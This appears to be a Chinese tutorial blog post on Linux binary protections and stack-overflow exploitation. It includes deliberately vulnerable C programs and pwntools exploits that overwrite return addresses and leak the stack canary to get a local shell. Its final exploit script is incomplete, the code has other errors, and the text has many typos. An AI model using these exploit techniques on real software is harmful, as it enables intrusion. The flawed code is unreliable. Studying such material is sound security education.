Rech

程序架构信息,判断是64位还是32位,exp编写的时候是p64还是p32

RELRO

Relocation Read-Onl(RELRO)此项技术主要针对GOT改写的攻击方式,它分成两种,Partial RELRO和FULL RELRO
Partial (部分)RELRO容易受到攻击,例如攻击者可以atoi.got为system.plt进而输入/bin/sh\x00获得shell,完全RELRO使整个GOT只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。

gcc -o hello test.c //默认情况下,是Partial RELRO
gcc -z norelro -o hello test.c // 关闭,即No RELRO
gcc -z lazy -o hello test.c // 部分开启,即Partial RELRO
gcc -z now -o hello test.c // 全部开启,即Full RELRO

Stack-canary

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞是,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行,当启用栈保护后,函数开始执行的时候先会往栈里插入类似cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行,攻击者在覆盖返回地址的时候往往会将cookie信息给覆盖掉,导致栈保护检车失败而阻止shellcode的执行,在linux中我们将cookie信息称为canary。

gcc -fno-stack-protector -o hello test.c //禁用栈保护
gcc -fstack-protector -o hello test.c //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o hello test.c //启用堆栈保护,为所有函数插入保护代码

NX

NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,如此一来,当攻击者在堆栈上部署自己的shellcode并触发时,智慧直接造成程序的崩溃,但是可以利用rop这种方法绕过

gcc -o hello test.c // 默认情况下,开启NX保护
gcc -z execstack -o hello test.c // 禁用NX保护
gcc -z noexecstack -o hello test.c // 开启NX保护

PIE

PTE(Position-Independent Executable,位置无关可执行文件)技术与ASLR技术类似,ASLR将程序运行时的堆栈以及共享库的加载地址随机化,而PIE及时则在编译时将程序编译为位置无关,即程序运行时各个段(如代码但等)加载的虚拟地址也是在装载时才确定,这就意味着。在PIE和ASLR同时开启的情况下,攻击者将对程序的内存布局一无所知,传统改写GOT表项也难以进行,因为攻击者不能获得程序的.got段的虚地址。若开始一般需在攻击时歇够地址信息

gcc -o hello test.c // 默认情况下,不开启PIE
gcc -fpie -pie -o hello test.c // 开启PIE,此时强度为1
gcc -fPIE -pie -o hello test.c // 开启PIE,此时为最高强度2
(还与运行时系统ALSR设置有关)

RPATH/RUNPATH

程序运行是的环境变量,运行时所需要的共享库文件优先从该目录寻找,可以fake lib造成攻击,实例:攻击案例

FORTIFY

这是一个由GCC实现的源码级别的保护机制,其功能是在编译的时候检查源码以避免潜在的缓冲区溢出等错误
简单地说,加了和这个保护之后,一些敏感函数如read,fgets,memcpy,printf等等可能导致漏洞出现的函数会替换成__read_chk,__fgets_chk等。
这些带了chk的函数 会检查读取/复制的字节长度是否超过缓冲区长度,通过检查诸如%n之类的字符串卫视是否位于可能被用户修改的可写地址,避免了格式胡字符串跳过某些函数如直接(%7$x)等方式来避免漏洞出现,开启FORTIFT保护的程序会被checksec检出,此外,在反编译是直接查看got表也会发现chk函数的存在,这种检查是默认不开启的,可以通过。
gcc -D_FORTIFY_SOURCE=2 -O1
开启fortity检查,开启后会替换strcpy等危险函数。
总结

各种安全选择的编译参数如下:

NX:-z execstack / -z noexecstack (关闭 / 开启)
Canary: -fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启)
PIE:-no-pie / -pie (关闭 / 开启)
RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启)



栈溢出原理

栈溢出是缓冲区溢出中的一种。函数的局部变量通常保存在栈上。如果这些缓冲区发生溢出,就是栈溢出。最经典的栈溢出利用方式是覆盖函数的返回地址,以达到劫持程序控制流的目的。
X86构架中一般使用指令call调用一个函数,并使用指令ret返回。CPU在执行call指令时,会先将当前call指令的下一条指令的地址入栈,再跳转到被调用函数。当被调用函数需要返回时,只需要执行ret指令。CPU会出栈栈顶的地址并复制给EIP寄存器。这个用来告诉被调用函数自己应该返回到调用函数什么位置的地址被称为返回地址。理想情况下,取出的地址就是之前调用call存入的地址。这样程序可以返回到父函数继续执行了。编译器会始终保证即使子函数使用了栈并修改了栈顶的位置,也会在函数返回前将栈顶恢复到刚进入函数时候的状态,从而保证取到的返回地址不会出错。
下面进行个简单的例子讲解这一过程:

#include<stdio.h>
#include<unistd.h>
void shell() {
    system("/bin/sh");
}
void vuln() {
    char buf[10];
    gets(buf);
}
int main() {
    vuln();
}

使用如下命令进行编译,关闭地址随机化和栈溢出保护。
gcc -fno-stack-protector stack.c -o stack -no-pie

运行程序,用IDA调试,输入8个A后,退出vlun函数,程序执行ret指令时,此时栈顶保存的0x400579即返回地址,执行ret指令后,程序会跳转到0x400579的位置。
注意,返回地址上方有一串0x41414141414141414141的数据,即刚刚输入的8个A,因为gets函数不会检查输入数据的长度,所以可增加输入,直到覆盖返回地址。返回地址与第一个A的距离为18个字节,如果输入19字节以上,则会覆盖返回地址。
用IDA分析这个程序,可以得知shell函数的位置为0x400537,我们的目的是让程序跳转到该函数,从而执行system("/bin/sh"),以获得一个shell。
exp如下:
#!/usr/bin/python
from pwn import *                            #引入pwntools库
p = process('./stack')                       #运行本地程序stack
p.sendline('a'*18+p64(0x400537))
# 向进程中输入,自动在结尾添加'\n',因为x64程序中的整数都是以小端库存储的(低位存储在低地址),所以要将0x400537按照"\x37\x05\x40\x00\x00\x00\x00\x00"的形式入栈,p64函数会自动将64位整数转换为8字节字符串,u64函数则会将8字节字符串转换为64位整数。
p.interactive()                              #切换到直接交互模式

用IDA附加到进程进行追踪调试,刚到ret的位置时,返回地址已经被覆盖为0x400537,继续运行程序就会跳转到shell函数,从而获得shell

栈保护技术

栈溢出利用难度很低,危害巨大。为了缓解栈溢出带来的日益严重的安全问题,编译器开发者们引入Canary机制来检测栈溢出攻击。
Canary中文译为金丝雀,Canary保护的机制是通过在栈保存rbp的位置前插入一段随机数,这样如果攻击者利用栈溢出漏洞覆盖返回地址,也会把Canary一起覆盖。编译器会在函数ret指令前添加一段会检查Canary的值是否被改写的代码,如果被改写,则直接抛出异常,中断程序,从而阻止攻击发生。但这种方法并不一定可靠:

例:

#include<stdio.h>
#include<unistd.h>
void shell() {
    system("/bin/sh");
}
void vuln() {
    char buf[10];
    puts("input 1:");
    read(0,buf,100);
    puts(buf);
    puts("input 2:");
    fgets(buf,0x100,stdin);
}
int main() {
    vuln();
}

编译时开启栈保护:
gcc stack2.c -no-pie -fstack-protector-all -o stack2
此时vuln函数进入是,会从fs:28中取出Canary的值,放入rbp-8的位置,在函数退出前将rbp-8的值与fs:28中的值进行比较,如果被改变,就用_ _stack_chk_fail 函数,输出报错信息并退出程序。
但是这个程序在vuln函数返回前会将输入的字符串打印,这会泄露栈上的Canary,从而绕过检测。这里可以将字符串长度控制到刚好连接Canary,就可以使得Canary和字符串一起被puts函数打印。由于Canary最低字节为0x00,为了防止被0截断,需要多发送一个字符来覆盖0x00.

>>> p = process('./stack2')
[x] Starting local process './stack2'
[+] Starting local process './stack2': pid 11858
>>> p.recv()
'input 1:\n'
>>> p.sendline('a'*10)
>>> p.recvuntil('a'*10+'\n')   #接收到指定字符串为止
'aaaaaaaaaa\n'
>>> canary = '\x00'+p.recv(7)  #接收7个字符
>>> canary 
'\x00\n\xb6'\xb8\x87\xe0i'     #泄露 canary

接下来的一次输入中,可以将泄露的Canary写到原来的地址,然后继续覆盖返回地址:

>>>shell_addr = p64(0x400677)
>>> p.sendline('a'*10+canary+p64(0)+p64(shell_addr))
>>> p.interactive()
[*] Switching to interactive mode
ls
core exp.py stack stack2 stack.c

所以可以简单的构建出一个exp:

from pwn import *

p = process('./stack2')
p.recv()
'input 1:\n'
p.sendline('a'*10)
p.recvuntil('a'*10+'\n')
canary = '\x00'+p.recv(7)
p.interactive()

常发生栈溢出的危险函数

通过寻找危险函数,我们可以快速确定程序是否可能有栈溢出,以及栈溢出的位置。常见的危险函数如下。

输入:get(),直接读取一行,到换行符'\n'位置,同时'\n'被转换为'\x00';scanf(),格式化字符串中的%s不会检查长度;vscanf同上。

输出:sprintf(),将格式化后的内容写入缓冲区中,但是不检查缓冲区长度。

字符串:strcpy(),遇到'\x00'停止,不会检查长度,经常出现单字节写0 (off by one)溢出;strcat(),同上。

可利用的栈溢出覆盖位置

可利用的栈溢出覆盖位置通常有3种:

1.覆盖函数返回地址,上述两个例子都是通过覆盖返回地址控制程序;
2.覆盖栈上所保存的BP寄存器的值。函数被调用时会先保存栈现场,返回时再恢复,具体操作如下(以x64程序为例),调用时:

push rbp
mov rbp,rsp
leave   ;相当于mov    rsp,  rbp         pop    sbp
ret

返回时:如果栈上的BP值被覆盖,那么函数返回后,主调用函数的BP值会被改变,主调函数返回执行ret时,SP不会指向原来返回地址位置,而是被修改后的BP位置。
3.根据现实执行情况,覆盖特定的变量或地址的内容,可能导致一些逻辑漏洞的出现。

标签: none

暂无评论